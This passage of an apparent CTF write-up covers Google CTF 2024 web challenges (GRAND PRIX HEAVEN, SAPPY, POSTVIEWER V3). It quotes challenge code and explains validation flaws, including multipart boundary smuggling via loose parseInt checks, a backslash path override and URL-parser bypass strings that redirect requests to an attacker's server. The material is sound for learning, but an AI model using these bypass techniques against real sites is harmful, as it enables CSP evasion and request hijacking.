<span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> grandPrix <span class="token operator">=</span> <span class="token keyword">await</span> Configuration<span class="token punctuation">.</span><span class="token function">findOne</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">public_id</span><span class="token operator">:</span> req<span class="token punctuation">.</span>params<span class="token punctuation">.</span>GrandPrixHeaven <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>grandPrix<span class="token punctuation">)</span> <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"ERROR: ID not found"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> defaultData <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token number">0</span><span class="token operator">:</span> <span class="token string">"csp"</span><span class="token punctuation">,</span>    <span class="token number">1</span><span class="token operator">:</span> <span class="token string">"retrieve"</span><span class="token punctuation">,</span>    <span class="token number">2</span><span class="token operator">:</span> <span class="token string">"apiparser"</span><span class="token punctuation">,</span>    <span class="token number">3</span><span class="token operator">:</span> <span class="token string">"head_end"</span><span class="token punctuation">,</span>    <span class="token number">4</span><span class="token operator">:</span> <span class="token string">"faves"</span><span class="token punctuation">,</span>    <span class="token number">5</span><span class="token operator">:</span> <span class="token string">"footer"</span><span class="token punctuation">,</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  <span class="token keyword">let</span> needleBody <span class="token operator">=</span> defaultData<span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>grandPrix<span class="token punctuation">.</span>custom <span class="token operator">!=</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      needleBody <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>grandPrix<span class="token punctuation">.</span>custom<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> <span class="token punctuation">[</span>k<span class="token punctuation">,</span> v<span class="token punctuation">]</span> <span class="token keyword">of</span> Object<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span>needleBody<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token constant">TEMPLATE_PIECES</span><span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>v<span class="token punctuation">.</span><span class="token function">toLowerCase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isNum</span><span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token keyword">typeof</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token string">'object'</span><span class="token punctuation">)</span>          <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"invalid template piece"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// don't be sneaky. We need a CSP!</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">parseInt</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> v <span class="token operator">!=</span> <span class="token string">"csp"</span><span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"No CSP"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">ERROR IN /fave/:GrandPrixHeaven:\n</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">400</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"invalid custom body"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  needle<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span>    <span class="token constant">TEMPLATE_SERVER</span><span class="token punctuation">,</span>    needleBody<span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">multipart</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">boundary</span><span class="token operator">:</span> <span class="token constant">BOUNDARY</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> resp<span class="token punctuation">,</span> body</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">ERROR IN /fave/:GrandPrixHeaven:\n</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">500</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span> <span class="token literal-property property">error</span><span class="token operator">:</span> <span class="token string">"error"</span> <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">return</span> res<span class="token punctuation">.</span><span class="token function">status</span><span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>body<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The <code>needleBody</code> is controllable, and the main issue lies in the validation of the key and value. The key validation <code>isNum(parseInt(k))</code> is flawed because the <code>parseInt</code> conversion is very loose. For example, <code>parseInt(&#39;123hello&#39;)</code> becomes <code>123</code>, allowing arbitrary strings to be appended after numbers to bypass validation.</p><p>Since the <code>boundary</code> is known, data can be smuggled in through the key.</p><p>A request is then sent to TEMPLATE_SERVER, which processes it as follows:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> templates <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'./templates'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token function-variable function">parseMultipartData</span>  <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">data<span class="token punctuation">,</span> boundary</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> chunks <span class="token operator">=</span> data<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span>boundary<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// always start with the &lt;head> element</span>  <span class="token keyword">var</span> processedTemplate <span class="token operator">=</span> templates<span class="token punctuation">.</span>head_start<span class="token punctuation">;</span>  <span class="token comment">// to prevent loading an html page of arbitrarily large size, limit to just 7 at a time</span>  <span class="token keyword">let</span> end <span class="token operator">=</span> <span class="token number">7</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>chunks<span class="token punctuation">.</span>length<span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&lt;=</span> end<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    end <span class="token operator">=</span> chunks<span class="token punctuation">.</span>length<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> end<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// seperate body from the header parts</span>    <span class="token keyword">var</span> lines <span class="token operator">=</span> chunks<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">'\r\n\r\n'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> item<span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token string">"\r\n"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span> <span class="token keyword">return</span> item <span class="token operator">!=</span> <span class="token string">''</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> item <span class="token keyword">of</span> Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>templates<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>lines<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            processedTemplate <span class="token operator">+=</span> templates<span class="token punctuation">[</span>item<span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> processedTemplate<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As mentioned above, we can add our own content and prevent it from being rendered by the CSP.</p><p>There is a bypass in the frontend part as well:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> <span class="token function-variable function">clean</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">path</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>path<span class="token punctuation">)</span> <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"no path"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">let</span> re <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^[A-z0-9\s_-]+$</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>re<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>path<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// normalize</span>        <span class="token keyword">let</span> cleaned <span class="token operator">=</span> path<span class="token punctuation">.</span><span class="token function">replaceAll</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\s</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> cleaned<span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"regex fail"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">return</span> <span class="token string">"dfv"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>  url <span class="token operator">=</span> <span class="token function">clean</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>url <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> <span class="token string">'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The check for <code>A-z</code> here is crucial because some symbols are included, such as <code>\</code>, allowing the URL to be <code>\test</code> and overwrite the original path <code>/api/get-car</code>.</p><p>The above is just a simple record. For a more detailed walkthrough and the challenges, you can refer to the author’s writeup: <a href="https://github.com/google/google-ctf/tree/main/2024/quals/web-grandprixheaven/solution">GoogleCTF 2024 GRAND PRIX HEAVEN Solution</a></p><h2><span id="sappy-64-solves">SAPPY (64 solves)</span></h2><p>Once again, my teammates solved this before I could take a look. I’ll briefly discuss the core concept and note the Discord discussion.</p><p>The core code snippet is as follows:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> Uri <span class="token operator">=</span> goog<span class="token punctuation">.</span><span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"goog.Uri"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">validate</span><span class="token punctuation">(</span><span class="token parameter">host</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> h <span class="token operator">=</span> Uri<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>host<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>h<span class="token punctuation">.</span><span class="token function">hasQuery</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">throw</span> <span class="token string">"invalid host"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>h<span class="token punctuation">.</span><span class="token function">getDomain</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!==</span> <span class="token string">"sappy-web.2024.ctfcompetition.com"</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">throw</span> <span class="token string">"invalid host"</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> host<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>Essentially, the challenge is to bypass this check and allow the input URL to send requests to our server.</p><p>Two bypass methods were observed. One is using a data URI: <code>data://sappy-web.2024.ctfcompetition.com/;base64,...</code>, where the domain is resolved as <code>sappy-web.2024.ctfcompetition.com</code> by this library.</p><p>The other method is <code>\\\\www%2eURL%2ex://sappy-web.2024.ctfcompetition.com</code>, tricking the parser into recognizing <code>\\\\www%2eURL%2ex</code> as the scheme. However, browsers interpret <code>\\</code> as <code>//</code>, resulting in <code>https://www.URL.ex//sappy-web.2024.ctfcompetition.com</code>.</p><p>For a more detailed process, you can refer to this article: <a href="https://zimzi.substack.com/p/googlectf-2024-sappy">GoogleCTF 2024 SAPPY</a></p><h2><span id="postviewer-v3-19-solves">POSTVIEWER V3 (19 solves)</span></h2><p>I couldn’t solve <a href="https://blog.huli.tw/2022/07/09/en/google-ctf-2022-writeup/#postviewer-10-solves">v1</a> in 2022 or <a href="https://blog.huli.tw/2023/07/28/en/google-zer0pts-imaginary-ctf-2023-writeup/#postviewer-v2-7-solves">v2</a> in 2023, but I finally managed to solve v3 released this year.</p><p>The core concept of this year’s version is similar to the previous ones, aiming to create a preview file mechanism with a sandbox. The interface is simple, with just a feature to upload files:</p><p><img src="/img/google-ctf-2024-writeup/p1.png" alt="upload file"></p><p>After clicking the file, the hash value on the URL will be updated, and this hash value is <code>sha1(filename)</code>. Then, based on the file name, the content is retrieved from IndexedDB, and that’s when the crucial part begins.</p><p>After obtaining the content, a sandbox domain is generated. The name of this domain depends on: <code>calculateHash(body, product, window.origin, location.href)</code>, where the body is a fixed HTML and the product is also fixed.</p><p>Next, an iframe is used to load this sandbox domain, and the query string is appended with: <code>?o=$&#123;window.origin&#125;</code>. Below is an example:</p><pre class="line-numbers language-none"><code class="language-none">https:&#x2F;&#x2F;sbx-0wguyijf8lspklnc3724kqvia43l62tu7v1l2gdelcy503m2cd.  postviewer3-web.2024.ctfcompetition.com&#x2F;postviewer&#x2F;shim.html  ?o&#x3D;https%3A%2F%2Fpostviewer3-web.2024.ctfcompetition.com<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>So, what does this <code>shim.html</code> do? The content is quite simple, focusing only on JavaScript-related paragraphs:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token constant">HASH_REGEXP</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^sbx-([a-z0-9]&#123;50&#125;)[.]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token constant">PRODUCT_REGEXP</span> <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[/]([a-z0-9_-]*)[/]shim.html</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span><span class="token keyword">let</span> <span class="token constant">FILE_HASH</span><span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token keyword">function</span> <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  document<span class="token punctuation">.</span>body<span class="token punctuation">.</span>innerText <span class="token operator">=</span> err<span class="token punctuation">;</span>  <span class="token keyword">throw</span> <span class="token function">Error</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">try</span><span class="token punctuation">&#123;</span>  <span class="token constant">FILE_HASH</span> <span class="token operator">=</span> <span class="token constant">HASH_REGEXP</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>host<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Incorrect hash"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">try</span><span class="token punctuation">&#123;</span>  <span class="token constant">PRODUCT</span> <span class="token operator">=</span> <span class="token constant">PRODUCT_REGEXP</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>pathname<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">catch</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Incorrect product"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token constant">TRUSTED_ORIGIN</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">URL</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>href<span class="token punctuation">)</span><span class="token punctuation">.</span>searchParams<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'o'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^https?:\/\/</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Untrusted Origin"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token parameter">arr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> arr    <span class="token punctuation">.</span><span class="token function">reduce</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">256</span><span class="token punctuation">)</span> <span class="token operator">*</span> a <span class="token operator">+</span> <span class="token function">BigInt</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">BigInt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">36</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span><span class="token parameter"><span class="token operator">...</span>strings</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> encoder <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TextEncoder</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> string <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> crypto<span class="token punctuation">.</span>subtle<span class="token punctuation">.</span><span class="token function">digest</span><span class="token punctuation">(</span><span class="token string">'SHA-256'</span><span class="token punctuation">,</span> encoder<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>string<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">arrayToBase36</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span>hash<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">padStart</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">50</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>window<span class="token punctuation">.</span><span class="token function-variable function">onmessage</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>origin <span class="token operator">!==</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"Wrong origin"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>body <span class="token operator">===</span> <span class="token keyword">undefined</span> <span class="token operator">||</span> <span class="token operator">!</span>e<span class="token punctuation">.</span>data<span class="token punctuation">.</span>mimeType<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token string">"No content to render"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> <span class="token punctuation">&#123;</span>body<span class="token punctuation">,</span> salt<span class="token punctuation">,</span> mimeType<span class="token punctuation">&#125;</span> <span class="token operator">=</span> e<span class="token punctuation">.</span>data<span class="token punctuation">;</span>    <span class="token punctuation">[</span>body<span class="token punctuation">,</span> salt<span class="token punctuation">,</span> mimeType<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token operator">=></span><span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">typeof</span> e <span class="token operator">!==</span> <span class="token string">'string'</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Expected '</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>e<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">' to be a string.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">const</span> hash <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">calculateHash</span><span class="token punctuation">(</span>body<span class="token punctuation">,</span> <span class="token constant">PRODUCT</span><span class="token punctuation">,</span> <span class="token constant">TRUSTED_ORIGIN</span><span class="token punctuation">,</span> salt<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>hash <span class="token operator">!==</span> <span class="token constant">FILE_HASH</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token function">_throw</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Expected hash: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>hash<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span 